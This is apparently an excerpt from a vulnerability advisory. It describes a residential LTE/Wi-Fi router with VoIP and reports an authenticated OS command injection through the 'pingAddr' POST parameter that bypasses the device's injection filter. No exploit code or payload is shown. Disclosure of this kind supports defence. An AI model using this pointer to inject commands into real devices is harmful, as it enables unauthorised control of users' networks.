It provides high speed LAN, Wi-Fi and VoIP integrated services to end users who need both bandwidth and multi-media data service in residential homes or enterprises. The device has 2 Gigabit LAN ports, 1 RJ11 analog phone port, high performance 4x4 MIMO and CA capabilities, 802.11b/g/n/ac dual band Wi-Fi, advanced routing and firewall software for security. It provides an effective all-in-one solution to SOHO or residential customers. It can deliver up to 1Gbps max data throughput which can be very competitive to wired broadband access service. Desc: The application suffers from an authenticated OS command injection vulnerability. This can be exploited to inject and execute arbitrary shell commands through the 'pingAddr' HTTP POST parameter bypassing the injection protection filter.
